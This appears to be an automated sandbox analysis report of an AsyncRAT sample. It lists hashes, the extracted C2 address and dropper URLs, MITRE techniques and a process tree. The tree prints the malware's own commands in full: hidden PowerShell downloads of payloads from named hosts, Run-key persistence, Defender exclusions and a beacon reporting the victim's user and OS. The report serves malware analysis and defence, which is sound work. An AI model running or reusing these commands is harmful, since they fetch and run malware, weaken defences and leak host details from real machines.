asyncrat | d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0

Analysis

max time kernel
150s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/07/2026, 16:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0.exe
Size 534KB
Sample260702-vasrvae19p
SHA256 d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0
MD5 cc8288934847e9f767860af6916765c3
SHA1 91705e398e4cddc2786317a2bc574e88b8f9952e
SHA512 c2def2b41a4d4062032a2027885cf5ad35480bf96dd263bdf6365a2e23fd51c5a1c05d1631f458c6b541cd1a0d4156d0ae3ab3645e34cae959f2092e402d0b46
SSDEEP 6144:oj1zho1x2kD02IXYwa6fWnUh7bxa57SzYCO8gG4iR+v/74D8+xhulH+lDAAijW:ohoVY2+LfWvRSECKG4iRkT0uEdAAijW
TLSH
T195C428E5E79444B8E4A39578C8778953EA33B40D8F64968F16A0BE573E33381483BB53
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

5 now defense_evasion discovery execution asyncrat persistence rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://rdpftpower.com/ftpower/ftpower2/autoejecutor.vbs

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://rdpftpower.com/ftpower/ftpower2/ftpower.bat

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://calculadorazt.com/contador1/actualizador.vbs

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://calculadorazt.com/contador1/miapp.exe

Extracted

Family

asyncrat

Version

1.0.7

Botnet

5 NoW

146.70.49.42:7080

Mutex

ygjgykgjftjtyurtsgjgdhsiufsgefukuejs

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1896	powershell.exe
3	5328	powershell.exe
4	1772	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5732	powershell.exe
1548	powershell.exe
1896	powershell.exe
5328	powershell.exe
1772	powershell.exe
3248	powershell.exe
1896	powershell.exe
5328	powershell.exe
1772	powershell.exe
5732	powershell.exe
1548	powershell.exe
5876	powershell.exe
2808	powershell.exe
5876	powershell.exe
2808	powershell.exe
3248	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
2960	miapp.exe
5856	icahaddhlb.dll
5312	RegSvcs.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3047816590-610495838-277027736-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinSvcHost32 = "wscript.exe \"C:\\ProgramData\\pcsftpower2\\autoejecutor.vbs\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3047816590-610495838-277027736-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinSvcHost32 = "wscript.exe \"C:\\ProgramData\\ftpower2\\autoejecutor.vbs\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\mgde\\ICAHAD~1.EXE C:\\Users\\Admin\\mgde\\lrguhc.xls"	icahaddhlb.dll

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5856 set thread context of 5312	5856	icahaddhlb.dll	119

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	miapp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icahaddhlb.dll
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
5020	timeout.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5228	ipconfig.exe
3844	ipconfig.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2804	taskkill.exe

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	miapp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	miapp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	miapp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	miapp.exe
Key created	\REGISTRY\USER\S-1-5-21-3047816590-610495838-277027736-1000_Classes\Local Settings	miapp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	miapp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	miapp.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
5732	powershell.exe
5732	powershell.exe
1548	powershell.exe
1548	powershell.exe
5876	powershell.exe
5876	powershell.exe
2808	powershell.exe
2808	powershell.exe
3248	powershell.exe
3248	powershell.exe
1896	powershell.exe
1896	powershell.exe
5328	powershell.exe
5328	powershell.exe
1772	powershell.exe
1772	powershell.exe
5856	icahaddhlb.dll
5856	icahaddhlb.dll
5856	icahaddhlb.dll
5856	icahaddhlb.dll
5856	icahaddhlb.dll
5856	icahaddhlb.dll
5856	icahaddhlb.dll
5856	icahaddhlb.dll
5856	icahaddhlb.dll
5856	icahaddhlb.dll
5856	icahaddhlb.dll
5856	icahaddhlb.dll
5856	icahaddhlb.dll
5856	icahaddhlb.dll
5856	icahaddhlb.dll
5856	icahaddhlb.dll

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5732	powershell.exe
Token: SeDebugPrivilege	1548	powershell.exe
Token: SeDebugPrivilege	5876	powershell.exe
Token: SeIncreaseQuotaPrivilege	5876	powershell.exe
Token: SeSecurityPrivilege	5876	powershell.exe
Token: SeTakeOwnershipPrivilege	5876	powershell.exe
Token: SeLoadDriverPrivilege	5876	powershell.exe
Token: SeSystemProfilePrivilege	5876	powershell.exe
Token: SeSystemtimePrivilege	5876	powershell.exe
Token: SeProfSingleProcessPrivilege	5876	powershell.exe
Token: SeIncBasePriorityPrivilege	5876	powershell.exe
Token: SeCreatePagefilePrivilege	5876	powershell.exe
Token: SeBackupPrivilege	5876	powershell.exe
Token: SeRestorePrivilege	5876	powershell.exe
Token: SeShutdownPrivilege	5876	powershell.exe
Token: SeDebugPrivilege	5876	powershell.exe
Token: SeSystemEnvironmentPrivilege	5876	powershell.exe
Token: SeRemoteShutdownPrivilege	5876	powershell.exe
Token: SeUndockPrivilege	5876	powershell.exe
Token: SeManageVolumePrivilege	5876	powershell.exe
Token: 33	5876	powershell.exe
Token: 34	5876	powershell.exe
Token: 35	5876	powershell.exe
Token: 36	5876	powershell.exe
Token: SeDebugPrivilege	2808	powershell.exe
Token: SeIncreaseQuotaPrivilege	2808	powershell.exe
Token: SeSecurityPrivilege	2808	powershell.exe
Token: SeTakeOwnershipPrivilege	2808	powershell.exe
Token: SeLoadDriverPrivilege	2808	powershell.exe
Token: SeSystemProfilePrivilege	2808	powershell.exe
Token: SeSystemtimePrivilege	2808	powershell.exe
Token: SeProfSingleProcessPrivilege	2808	powershell.exe
Token: SeIncBasePriorityPrivilege	2808	powershell.exe
Token: SeCreatePagefilePrivilege	2808	powershell.exe
Token: SeBackupPrivilege	2808	powershell.exe
Token: SeRestorePrivilege	2808	powershell.exe
Token: SeShutdownPrivilege	2808	powershell.exe
Token: SeDebugPrivilege	2808	powershell.exe
Token: SeSystemEnvironmentPrivilege	2808	powershell.exe
Token: SeRemoteShutdownPrivilege	2808	powershell.exe
Token: SeUndockPrivilege	2808	powershell.exe
Token: SeManageVolumePrivilege	2808	powershell.exe
Token: 33	2808	powershell.exe
Token: 34	2808	powershell.exe
Token: 35	2808	powershell.exe
Token: 36	2808	powershell.exe
Token: SeDebugPrivilege	3248	powershell.exe
Token: SeIncreaseQuotaPrivilege	3248	powershell.exe
Token: SeSecurityPrivilege	3248	powershell.exe
Token: SeTakeOwnershipPrivilege	3248	powershell.exe
Token: SeLoadDriverPrivilege	3248	powershell.exe
Token: SeSystemProfilePrivilege	3248	powershell.exe
Token: SeSystemtimePrivilege	3248	powershell.exe
Token: SeProfSingleProcessPrivilege	3248	powershell.exe
Token: SeIncBasePriorityPrivilege	3248	powershell.exe
Token: SeCreatePagefilePrivilege	3248	powershell.exe
Token: SeBackupPrivilege	3248	powershell.exe
Token: SeRestorePrivilege	3248	powershell.exe
Token: SeShutdownPrivilege	3248	powershell.exe
Token: SeDebugPrivilege	3248	powershell.exe
Token: SeSystemEnvironmentPrivilege	3248	powershell.exe
Token: SeRemoteShutdownPrivilege	3248	powershell.exe
Token: SeUndockPrivilege	3248	powershell.exe
Token: SeManageVolumePrivilege	3248	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1040 wrote to memory of 5316	1040	d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0.exe	88
PID 5316 wrote to memory of 5732	5316	cmd.exe	90
PID 5316 wrote to memory of 1548	5316	cmd.exe	91
PID 5316 wrote to memory of 3572	5316	cmd.exe	92
PID 5316 wrote to memory of 5876	5316	cmd.exe	93
PID 5316 wrote to memory of 4484	5316	cmd.exe	96
PID 5316 wrote to memory of 2808	5316	cmd.exe	97
PID 5316 wrote to memory of 3248	5316	cmd.exe	99
PID 5316 wrote to memory of 1896	5316	cmd.exe	100
PID 5316 wrote to memory of 2804	5316	cmd.exe	102
PID 5316 wrote to memory of 5020	5316	cmd.exe	103
PID 5316 wrote to memory of 5328	5316	cmd.exe	104
PID 5316 wrote to memory of 1772	5316	cmd.exe	105
PID 5316 wrote to memory of 2960	5316	cmd.exe	106
PID 2960 wrote to memory of 4084	2960	miapp.exe	107
PID 4084 wrote to memory of 3032	4084	WScript.exe	109
PID 4084 wrote to memory of 1512	4084	WScript.exe	111
PID 3032 wrote to memory of 5228	3032	cmd.exe	113
PID 1512 wrote to memory of 5856	1512	cmd.exe	114
PID 4084 wrote to memory of 2080	4084	WScript.exe	116
PID 2080 wrote to memory of 3844	2080	cmd.exe	118
PID 5856 wrote to memory of 5312	5856	icahaddhlb.dll	119
PID 5856 wrote to memory of 5312	5856	icahaddhlb.dll	119
PID 5856 wrote to memory of 5312	5856	icahaddhlb.dll	119

C:\Users\Admin\AppData\Local\Temp\d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0.exe
"C:\Users\Admin\AppData\Local\Temp\d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\ProgramData\ftpower2\instalador_ftpower.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { Invoke-WebRequest -Uri 'http://rdpftpower.com/ftpower/ftpower2/autoejecutor.vbs' -OutFile 'C:\ProgramData\pcsftpower2\autoejecutor.vbs' -UseBasicParsing -TimeoutSec 30 } catch { (New-Object System.Net.WebClient).DownloadFile('http://rdpftpower.com/ftpower/ftpower2/autoejecutor.vbs','C:\ProgramData\pcsftpower2\autoejecutor.vbs') }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { Invoke-WebRequest -Uri 'http://rdpftpower.com/ftpower/ftpower2/ftpower.bat' -OutFile 'C:\ProgramData\pcsftpower2\ftpower.bat' -UseBasicParsing -TimeoutSec 30 } catch { (New-Object System.Net.WebClient).DownloadFile('http://rdpftpower.com/ftpower/ftpower2/ftpower.bat','C:\ProgramData\pcsftpower2\ftpower.bat') }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1548
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinSvcHost32" /t REG_SZ /d "wscript.exe \"C:\ProgramData\pcsftpower2\autoejecutor.vbs\"" /f
    3⤵
    - Adds Run key to start application
    PID:3572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\pcsftpower2' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5876
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinSvcHost32" /t REG_SZ /d "wscript.exe \"C:\ProgramData\ftpower2\autoejecutor.vbs\"" /f
    3⤵
    - Adds Run key to start application
    PID:4484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\ftpower2' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\ftpower2\Admin' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$os=[uri]::EscapeDataString((Get-WmiObject Win32_OperatingSystem).Caption); $url='https://calculadorazt.com/contador1/registro.php?pc=TUYTTRXL&user=Admin&ip=local&os='+$os+'&instalado=0'; Invoke-WebRequest -Uri $url -UseBasicParsing -TimeoutSec 10"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1896
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM miapp.exe
    3⤵
    - Kills process with taskkill
    PID:2804
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { Invoke-WebRequest -Uri 'https://calculadorazt.com/contador1/actualizador.vbs' -OutFile 'C:\ProgramData\ftpower2\Admin\actualizador.vbs' -UseBasicParsing -TimeoutSec 30 } catch { try { (New-Object System.Net.WebClient).DownloadFile('https://calculadorazt.com/contador1/actualizador.vbs','C:\ProgramData\ftpower2\Admin\actualizador.vbs') } catch {} }"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5328
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { Invoke-WebRequest -Uri 'https://calculadorazt.com/contador1/miapp.exe' -OutFile 'C:\ProgramData\ftpower2\Admin\miapp.exe' -UseBasicParsing -TimeoutSec 30 } catch { try { (New-Object System.Net.WebClient).DownloadFile('https://calculadorazt.com/contador1/miapp.exe','C:\ProgramData\ftpower2\Admin\miapp.exe') } catch {} }"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1772
- - C:\ProgramData\ftpower2\Admin\miapp.exe
    "C:\ProgramData\ftpower2\Admin\miapp.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:2960
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\jlxm.vbe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4084
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c ipconfig /release
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3032
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /release
        6⤵
        System Location Discovery: System Language Discovery
        Gathers network information
        
        PID:5228
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c icahaddhlb.dll lrguhc.xls
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1512
      - C:\Users\Admin\AppData\Local\Temp\RarSFX0\icahaddhlb.dll
        
        icahaddhlb.dll lrguhc.xls
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:5856
        
        C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5312
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c ipconfig /renew
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2080
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /renew
        6⤵
        System Location Discovery: System Language Discovery
        Gathers network information
        
        PID:3844

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

miapp.exe

Path C:\ProgramData\ftpower2\Admin\miapp.exe
Size 990KB
SHA256 ec67694d1ebc40146e45b20309465a29caeccd10046356357a2c0659b67be0c3
MD5 a243e3aab03170d3419d8cdfc884379c
SHA1 252616e49343d468ea8eb830383c5df394c75d1c
SHA512 188d3c0b1673e3633a43fa2b1485e07bff1bd874f49de2d1b2b6832cbf0d8833a392017894046ef463a84246b00bcafc3eeda200da467ba83a9b7251b5674a89
SSDEEP 24576:hN/BUBb+tYjBFHL68hu+gQs426v6IO7ezh28r:jpUlRhTEUvVO6Io
TLSH
T1B2250202B7C48473D1722A314ABA96611A7C7C301F658A9F53E47D6E6F34AD2C631FA3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

instalador_ftpower.bat

Path C:\ProgramData\ftpower2\instalador_ftpower.bat
Size 3KB
SHA256 57f5f9c6fe94f7f598bc010cbc8a1fe1169962b524f28463272e044bd43d17b6
MD5 0768f32b272b56c40f932c61b64f0289
SHA1 bb90fa683142a614b73170881aff279298fb6b19
SHA512 fe0a2c6558e2470258806f0da4e0234a1c035cb3a06c65421003ff329169d498f7e03be693b97d04c40d96125fb12548656072794de169e79399d41d89b4ed6c
TLSH
T1E57154471BA8724A8A331D98C5BA4F55DB4A8352D3816BC271F941CC7CB2751CF61D8C
MD5 SHA1 SHA512 TLSH

Submit Download